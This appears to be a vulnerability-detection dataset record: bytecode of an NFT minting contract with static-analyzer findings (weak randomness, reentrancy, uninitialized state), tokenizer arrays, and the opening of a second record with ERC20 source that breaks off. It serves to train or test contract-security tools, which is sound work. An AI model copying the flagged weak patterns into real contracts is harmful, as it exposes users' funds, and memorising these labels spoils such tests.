160ff0219169083151502179055505050808061293c90614b02565b915050612794565b50565b61294f612a4a565b73ffffffffffffffffffffffffffffffffffffffff1661296d611f98565b73ffffffffffffffffffffffffffffffffffffffff16146129c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ba90614656565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2a90614416565b60405180910390fd5b612a3c81613000565b50565b66d529ae9e86000081565b600033905090565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60006001600854612acd9190614886565b905090565b612aec828260405180602001604052806000815250613315565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16612bcf83611b15565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000612c2082612af0565b612c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5690614556565b60405180910390fd5b6000612c6a83611b15565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612cd957508373ffffffffffffffffffffffffffffffffffffffff16612cc184610fcb565b73ffffffffffffffffffffffffffffffffffffffff16145b80612cea5750612ce981856125df565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612d1382611b15565b73ffffffffffffffffffffffffffffffffffffffff1614612d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6090614676565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd0906144f6565b60405180910390fd5b612de4838383613370565b612def600082612b5c565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e3f9190614967565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e969190614886565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612f7590614296565b60006040518083038185875af1925050503d8060008114612fb2576040519150601f19603f3d011682016040523d82523d6000602084013e612fb7565b606091505b5050905080612ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ff2906144d6565b60405180910390fd5b505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6130d1848484612cf3565b6130dd84848484613375565b61311c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613113906143f6565b60405180910390fd5b50505050565b6060600a805461313190614a9f565b80601f016020809104026020016040519081016040528092919081815260200182805461315d90614a9f565b80156131aa5780601f1061317f576101008083540402835291602001916131aa565b820191906000526020600020905b81548152906001019060200180831161318d57829003601f168201915b5050505050905090565b606060008214156131fc576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613310565b600082905060005b6000821461322e57808061321790614b02565b915050600a8261322791906148dc565b9150613204565b60008167ffffffffffffffff81111561324a57613249614c9f565b5b6040519080825280601f01601f19166020018201604052801561327c5781602001600182028036833780820191505090505b5090505b60008514613309576001826132959190614967565b9150600a856132a49190614b83565b60306132b09190614886565b60f81b8183815181106132c6576132c5614c70565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561330291906148dc565b9450613280565b8093505050505b919050565b61331f838361350c565b61332c6000848484613375565b61336b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613362906143f6565b60405180910390fd5b505050565b505050565b60006133968473ffffffffffffffffffffffffffffffffffffffff166136da565b156134ff578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026133bf612a4a565b8786866040518563ffffffff1660e01b81526004016133e1949392919061430d565b602060405180830381600087803b1580156133fb57600080fd5b505af192505050801561342c57506040513d601f19601f820116820180604052508101906134299190613b5a565b60015b6134af573d806000811461345c576040519150601f19603f3d011682016040523d82523d6000602084013e613461565b606091505b506000815114156134a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161349e906143f6565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613504565b600190505b949350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561357c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613573906145f6565b60405180910390fd5b61358581612af0565b156135c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135bc90614456565b60405180910390fd5b6135d160008383613370565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136219190614886565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b8280546136f990614a9f565b90600052602060002090601f01602090048101928261371b5760008555613762565b82601f1061373457805160ff1916838001178555613762565b82800160010185558215613762579182015b82811115613761578251825591602001919060010190613746565b5b50905061376f9190613773565b5090565b5b8082111561378c576000816000905550600101613774565b5090565b60006137a361379e846147d6565b6147b1565b9050828152602081018484840111156137bf576137be614cd3565b5b6137ca848285614a5d565b509392505050565b60006137e56137e084614807565b6147b1565b90508281526020810184848401111561380157613800614cd3565b5b61380c848285614a5d565b509392505050565b60008135905061382381615552565b92915050565b60008135905061383881615569565b92915050565b60008135905061384d81615580565b92915050565b60008135905061386281615597565b92915050565b60008151905061387781615597565b92915050565b600082601f83011261389257613891614cce565b5b81356138a2848260208601613790565b91505092915050565b600082601f8301126138c0576138bf614cce565b5b81356138d08482602086016137d2565b91505092915050565b6000813590506138e8816155ae565b92915050565b6000813590506138fd816155c5565b92915050565b60006020828403121561391957613918614cdd565b5b600061392784828501613814565b91505092915050565b6000806040838503121561394757613946614cdd565b5b600061395585828601613814565b925050602061396685828601613814565b9150509250929050565b60008060006060848603121561398957613988614cdd565b5b600061399786828701613814565b93505060206139a886828701613814565b92505060406139b9868287016138d9565b9150509250925092565b600080600080608085870312156139dd576139dc614cdd565b5b60006139eb87828801613814565b94505060206139fc87828801613814565b9350506040613a0d878288016138d9565b925050606085013567ffffffffffffffff811115613a2e57613a2d614cd8565b5b613a3a8782880161387d565b91505092959194509250565b60008060408385031215613a5d57613a5c614cdd565b5b6000613a6b85828601613814565b9250506020613a7c85828601613829565b9150509250929050565b60008060408385031215613a9d57613a9c614cdd565b5b6000613aab85828601613814565b9250506020613abc858286016138d9565b9150509250929050565b60008060008060808587031215613ae057613adf614cdd565b5b6000613aee87828801613814565b9450506020613aff878288016138ee565b9350506040613b108782880161383e565b9250506060613b218782880161383e565b91505092959194509250565b600060208284031215613b4357613b42614cdd565b5b6000613b5184828501613853565b91505092915050565b600060208284031215613b7057613b6f614cdd565b5b6000613b7e84828501613868565b91505092915050565b600060208284031215613b9d57613b9c614cdd565b5b600082013567ffffffffffffffff811115613bbb57613bba614cd8565b5b613bc7848285016138ab565b91505092915050565b600060208284031215613be657613be5614cdd565b5b6000613bf4848285016138d9565b91505092915050565b60008060008060808587031215613c1757613c16614cdd565b5b6000613c25878288016138d9565b9450506020613c36878288016138ee565b9350506040613c478782880161383e565b9250506060613c588782880161383e565b91505092959194509250565b613c6d816149ad565b82525050565b613c7c8161499b565b82525050565b613c93613c8e8261499b565b614b4b565b82525050565b613ca2816149bf565b82525050565b613cb1816149cb565b82525050565b613cc8613cc3826149cb565b614b5d565b82525050565b6000613cd982614838565b613ce3818561484e565b9350613cf3818560208601614a6c565b613cfc81614ce2565b840191505092915050565b613d1081614a4b565b82525050565b6000613d2182614843565b613d2b818561486a565b9350613d3b818560208601614a6c565b613d4481614ce2565b840191505092915050565b6000613d5a82614843565b613d64818561487b565b9350613d74818560208601614a6c565b80840191505092915050565b6000613d8d601c8361487b565b9150613d9882614d00565b601c82019050919050565b6000613db060328361486a565b9150613dbb82614d29565b604082019050919050565b6000613dd360268361486a565b9150613dde82614d78565b604082019050919050565b6000613df660518361486a565b9150613e0182614dc7565b606082019050919050565b6000613e19601c8361486a565b9150613e2482614e3c565b602082019050919050565b6000613e3c60338361486a565b9150613e4782614e65565b604082019050919050565b6000613e5f60148361486a565b9150613e6a82614eb4565b602082019050919050565b6000613e82604d8361486a565b9150613e8d82614edd565b606082019050919050565b6000613ea560148361486a565b9150613eb082614f52565b602082019050919050565b6000613ec860248361486a565b9150613ed382614f7b565b604082019050919050565b6000613eeb60198361486a565b9150613ef682614fca565b602082019050919050565b6000613f0e601e8361486a565b9150613f1982614ff3565b602082019050919050565b6000613f31602c8361486a565b9150613f3c8261501c565b604082019050919050565b6000613f5460388361486a565b9150613f5f8261506b565b604082019050919050565b6000613f77602a8361486a565b9150613f82826150ba565b604082019050919050565b6000613f9a60298361486a565b9150613fa582615109565b604082019050919050565b6000613fbd602b8361486a565b9150613fc882615158565b604082019050919050565b6000613fe060208361486a565b9150613feb826151a7565b602082019050919050565b6000614003602c8361486a565b915061400e826151d0565b604082019050919050565b600061402660058361487b565b91506140318261521f565b600582019050919050565b600061404960118361486a565b915061405482615248565b602082019050919050565b600061406c60208361486a565b915061407782615271565b602082019050919050565b600061408f60298361486a565b915061409a8261529a565b604082019050919050565b60006140b2602f8361486a565b91506140bd826152e9565b604082019050919050565b60006140d560218361486a565b91506140e082615338565b604082019050919050565b60006140f860268361486a565b915061410382615387565b604082019050919050565b600061411b60228361486a565b9150614126826153d6565b604082019050919050565b600061413e60008361485f565b915061414982615425565b600082019050919050565b6000614161602b8361486a565b915061416c82615428565b604082019050919050565b600061418460318361486a565b915061418f82615477565b604082019050919050565b60006141a760158361486a565b91506141b2826154c6565b602082019050919050565b60006141ca60228361486a565b91506141d5826154ef565b604082019050919050565b6141e981614a34565b82525050565b6142006141fb82614a34565b614b79565b82525050565b61420f81614a3e565b82525050565b60006142218285613c82565b6014820191506142318284613c82565b6014820191508190509392505050565b600061424d8285613d4f565b91506142598284613d4f565b915061426482614019565b91508190509392505050565b600061427b82613d80565b91506142878284613cb7565b60208201915081905092915050565b60006142a182614131565b9150819050919050565b60006142b782856141ef565b6020820191506142c782846141ef565b6020820191508190509392505050565b60006020820190506142ec6000830184613c73565b92915050565b60006020820190506143076000830184613c64565b92915050565b60006080820190506143226000830187613c73565b61432f6020830186613c73565b61433c60408301856141e0565b818103606083015261434e8184613cce565b905095945050505050565b600060208201905061436e6000830184613c99565b92915050565b60006080820190506143896000830187613ca8565b6143966020830186614206565b6143a36040830185613ca8565b6143b06060830184613ca8565b95945050505050565b60006020820190506143ce6000830184613d07565b92915050565b600060208201905081810360008301526143ee8184613d16565b905092915050565b6000602082019050818103600083015261440f81613da3565b9050919050565b6000602082019050818103600083015261442f81613dc6565b9050919050565b6000602082019050818103600083015261444f81613de9565b9050919050565b6000602082019050818103600083015261446f81613e0c565b9050919050565b6000602082019050818103600083015261448f81613e2f565b9050919050565b600060208201905081810360008301526144af81613e52565b9050919050565b600060208201905081810360008301526144cf81613e75565b9050919050565b600060208201905081810360008301526144ef81613e98565b9050919050565b6000602082019050818103600083015261450f81613ebb565b9050919050565b6000602082019050818103600083015261452f81613ede565b9050919050565b6000602082019050818103600083015261454f81613f01565b9050919050565b6000602082019050818103600083015261456f81613f24565b9050919050565b6000602082019050818103600083015261458f81613f47565b9050919050565b600060208201905081810360008301526145af81613f6a565b9050919050565b600060208201905081810360008301526145cf81613f8d565b9050919050565b600060208201905081810360008301526145ef81613fb0565b9050919050565b6000602082019050818103600083015261460f81613fd3565b9050919050565b6000602082019050818103600083015261462f81613ff6565b9050919050565b6000602082019050818103600083015261464f8161403c565b9050919050565b6000602082019050818103600083015261466f8161405f565b9050919050565b6000602082019050818103600083015261468f81614082565b9050919050565b600060208201905081810360008301526146af816140a5565b9050919050565b600060208201905081810360008301526146cf816140c8565b9050919050565b600060208201905081810360008301526146ef816140eb565b9050919050565b6000602082019050818103600083015261470f8161410e565b9050919050565b6000602082019050818103600083015261472f81614154565b9050919050565b6000602082019050818103600083015261474f81614177565b9050919050565b6000602082019050818103600083015261476f8161419a565b9050919050565b6000602082019050818103600083015261478f816141bd565b9050919050565b60006020820190506147ab60008301846141e0565b92915050565b60006147bb6147cc565b90506147c78282614ad1565b919050565b6000604051905090565b600067ffffffffffffffff8211156147f1576147f0614c9f565b5b6147fa82614ce2565b9050602081019050919050565b600067ffffffffffffffff82111561482257614821614c9f565b5b61482b82614ce2565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b600061489182614a34565b915061489c83614a34565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156148d1576148d0614bb4565b5b828201905092915050565b60006148e782614a34565b91506148f283614a34565b92508261490257614901614be3565b5b828204905092915050565b600061491882614a34565b915061492383614a34565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561495c5761495b614bb4565b5b828202905092915050565b600061497282614a34565b915061497d83614a34565b9250828210156149905761498f614bb4565b5b828203905092915050565b60006149a682614a14565b9050919050565b60006149b882614a14565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000819050614a0f8261553e565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614a5682614a01565b9050919050565b82818337600083830152505050565b60005b83811015614a8a578082015181840152602081019050614a6f565b83811115614a99576000848401525b50505050565b60006002820490506001821680614ab757607f821691505b60208210811415614acb57614aca614c41565b5b50919050565b614ada82614ce2565b810181811067ffffffffffffffff82111715614af957614af8614c9f565b5b80604052505050565b6000614b0d82614a34565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614b4057614b3f614bb4565b5b600182019050919050565b6000614b5682614b67565b9050919050565b6000819050919050565b6000614b7282614cf3565b9050919050565b6000819050919050565b6000614b8e82614a34565b9150614b9983614a34565b925082614ba957614ba8614be3565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4e6f742073756666696369656e7420457468657220746f206d696e742074686960008201527f7320616d6f756e74206f66204e4654732028436f7374203d20302e303820657460208201527f68657220666f722065616368204e465429000000000000000000000000000000604082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4e6f7420656e6f756768205265736572766564204e46547320666f722043726560008201527f61746f72206c65667420746f206d696e742e2e00000000000000000000000000602082015250565b7f4e6f7420616c6c6f77656420746f204d696e7421000000000000000000000000600082015250565b7f4e6f742073756666696369656e7420457468657220746f206d696e742074686960008201527f7320616d6f756e74206f66204e4654732028436f7374203d20302e303620657460208201527f6865722065616368204e46542900000000000000000000000000000000000000604082015250565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4e6f7420656e6f756768204e465473206c65667420746f206d696e742e2e0000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f333025206f662074686520546f6b656e732068617665206e6f74206265656e2060008201527f6d696e7465642079657421000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f496e76616c6964205369676e6174757265000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d6178696d756d2035204d696e747320706572204164647265737320696e205060008201527f726573616c650000000000000000000000000000000000000000000000000000602082015250565b7f41697264726f702068617320616c7265616479206265656e206578656375746560008201527f6421000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f393025206f662074686520546f6b656e732068617665206e6f74206265656e2060008201527f6d696e7465642079657421000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f53616c6520696e206e6f74206f70656e20796574210000000000000000000000600082015250565b7f4e6f2046756e647320746f2077697468647261772c2042616c616e636520697360008201527f2030000000000000000000000000000000000000000000000000000000000000602082015250565b6003811061554f5761554e614c12565b5b50565b61555b8161499b565b811461556657600080fd5b50565b615572816149bf565b811461557d57600080fd5b50565b615589816149cb565b811461559457600080fd5b50565b6155a0816149d5565b81146155ab57600080fd5b50565b6155b781614a34565b81146155c257600080fd5b50565b6155ce81614a3e565b81146155d957600080fd5b5056fea264697066735822122059f8d65bbfcfa002c162e991776d88994c087bd9fe32c19aaac76a69e0e179a164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 16048, 9818, 2629, 2497, 2581, 10322, 2575, 21486, 2620, 2278, 16703, 2278, 2575, 2683, 2581, 17134, 27009, 2278, 2509, 4246, 26224, 2487, 2278, 2620, 16576, 24087, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 19797, 12879, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 19884, 1037, 1036, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,029
0x96170fe17306c2065741e245d41405ecb4a1dd3d
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: 